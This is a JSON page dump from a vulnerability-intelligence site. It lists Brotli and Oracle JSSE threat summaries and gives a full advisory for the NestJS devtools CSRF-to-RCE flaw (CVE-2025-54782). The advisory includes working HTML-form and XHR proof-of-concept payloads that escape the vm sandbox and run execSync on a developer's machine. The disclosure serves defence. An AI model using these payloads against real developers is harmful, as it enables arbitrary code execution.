[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2025-54782":30,"landing-articles":77},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":37,"cwes":38,"cpes":42,"technologies":46,"references":48,"score":57,"epss_score":58,"epss_percentile":59,"is_kev":37,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":60,"attack_mappings":70,"exploits":71},65324,"CVE-2025-54782","EUVD-2025-23413","@nestjs\u002Fdevtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers\n\n## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs\u002Fdevtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket's blog](https:\u002F\u002Fsocket.dev\u002Fblog\u002Fnestjs-rce-vuln).\n\n## Details\nThe `@nestjs\u002Fdevtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `\u002Finspector\u002Fgraph\u002Finteract`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https:\u002F\u002Fnodejs.org\u002Fapi\u002Fvm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS\u002FOrigin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https:\u002F\u002Fdevtools.nestjs.com`) but does not validate the request's `Origin` or `Content-Type`. Attackers can craft POST requests with `text\u002Fplain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n\u002F\u002F Vulnerable request handler\nhandleGraphInteraction(req, res) {\n  if (req.method === 'POST') {\n    let body = '';\n    req.on('data', data => { body += data; });\n    req.on('end', async () => {\n      res.writeHead(200, { 'Content-Type': 'application\u002Fplain' });\n      const json = JSON.parse(body);\n      await this.sandboxedCodeExecutor.execute(json.code, res);\n    });\n  }\n}\n\n\u002F\u002F Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n  const sandbox = {};\n  const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);\n  sandbox[resultKey] = {};\n  const ctx = `\n    (function() {\n      Function = undefined;\n      const keys = Object.getOwnPropertyNames(this).concat(['constructor']);\n      keys.forEach((key) => {\n        const item = this[key];\n        if (!item || typeof item.constructor !== 'function') return;\n        this[key].constructor = undefined;\n      });\n    })();\n  `;\n  code = ctx + resultKey + '=' + code;\n  if (context) {\n    Object.keys(context).forEach(key => { sandbox[key] = context[key]; });\n  }\n  vm.runInNewContext(code, sandbox, opts);\n  return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs\u002Fdevtools-integration in development mode:\n\n```\nnpm install @nestjs\u002Fdevtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n\u003Cform action=\"http:\u002F\u002Flocalhost:8000\u002Finspector\u002Fgraph\u002Finteract\" method=\"POST\" enctype=\"text\u002Fplain\">\n  \u003Cinput name=\"{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open \u002FSystem\u002FApplications\u002FCalculator.app')}})()","bogus":"\" value=\""}\" \u002F>\n  \u003Cinput type=\"submit\" value=\"Exploit\" \u002F>\n\u003C\u002Fform>\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text\u002Fplain content type:\n\n```html\n\u003Cbutton onclick=\"sendPopCalculatorXHR()\">Send pop calculator XHR Request\u003C\u002Fbutton>\n\u003Cscript>\n    function sendPopCalculatorXHR() {\n        var xhr = new XMLHttpRequest();\n        xhr.open(\"POST\", \"http:\u002F\u002Flocalhost:8000\u002Finspector\u002Fgraph\u002Finteract\");\n        xhr.withCredentials = false;\n        xhr.setRequestHeader(\"Content-Type\", \"text\u002Fplain\");\n        xhr.send('{\"code\":\"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'open \u002FSystem\u002FApplications\u002FCalculator.app\\'); } })()\"}');\n    }\n\u003C\u002Fscript>\n```\n\n### Full POC\n\nMinimal reproducer: https:\u002F\u002Fgithub.com\u002FJLLeitschuh\u002Fnestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https:\u002F\u002Fgithub.com\u002FJLLeitschuh\u002Fnestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https:\u002F\u002Fjlleitschuh.org\u002Fnestjs-devtools-integration-rce-poc\u002F\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https:\u002F\u002Fgithub.com\u002FJLLeitschuh\u002Fnestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs\u002Fdevtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv\u002Fsandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs\u002Fdevtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https:\u002F\u002Fsocket.dev\u002F).","2025-08-01T18:43:00Z",{},false,[39,40,41],"CWE-352","CWE-77","CWE-78",[43,44,45],"cpe:2.3:a:nestjs:devtools-integration:*:*:*:*:*:node.js:*:*","cpe:2.3:a:nestjs:devtools-integration:*:*:*:*:*:*:*:*","cpe:2.3:a:nestjs:devtools-integration:0.2.0:*:*:*:*:*:*:*",[47],"Nestjs Devtools-Integration",[49,50,51,52,53,54,55,56],"https:\u002F\u002Fgithub.com\u002FJLLeitschuh\u002Fnestjs-devtools-integration-rce-poc","https:\u002F\u002Fgithub.com\u002FJLLeitschuh\u002Fnestjs-typescript-starter-w-devtools-integration","https:\u002F\u002Fgithub.com\u002Fnestjs\u002Fnest\u002Fsecurity\u002Fadvisories\u002FGHSA-85cg-cmq5-qjm7","https:\u002F\u002Fnodejs.org\u002Fapi\u002Fvm.html","https:\u002F\u002Fsocket.dev\u002Fblog\u002Fnestjs-rce-vuln","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2025-54782","https:\u002F\u002Fgithub.com\u002Fnestjs\u002Fnest","https:\u002F\u002Fjlleitschuh.org\u002Fnestjs-devtools-integration-rce-poc",0,0.53307,0.98977,{"timestamp":61,"automatable":62,"tech_impact":63,"exploitation":64,"cisa_decision":65,"cisa_remediation_timeline":69},"2025-08-04T15:23:27.339034Z","no","total","poc",{"vector":66,"decision":67,"priority":68},"CISAv1\u002FE:P\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T07:41:52.089251\u002F","attend","medium","14D",[],[72,73,74,75],{"link":53},{"link":51},{"link":49},{"link":76},"https:\u002F\u002Fgithub.com\u002Fprojectdiscovery\u002Fnuclei-templates\u002Fblob\u002Fmain\u002Fhttp\u002Fcves\u002F2025\u002FCVE-2025-54782.yaml",{"count":78,"next":79,"previous":6,"results":80},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[81,89,97],{"id":82,"title":83,"summary":84,"published_at":85,"type":86,"link":87,"image_url":88},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":90,"title":91,"summary":92,"published_at":93,"type":94,"link":95,"image_url":96},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":98,"title":99,"summary":100,"published_at":101,"type":102,"link":103,"image_url":104},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]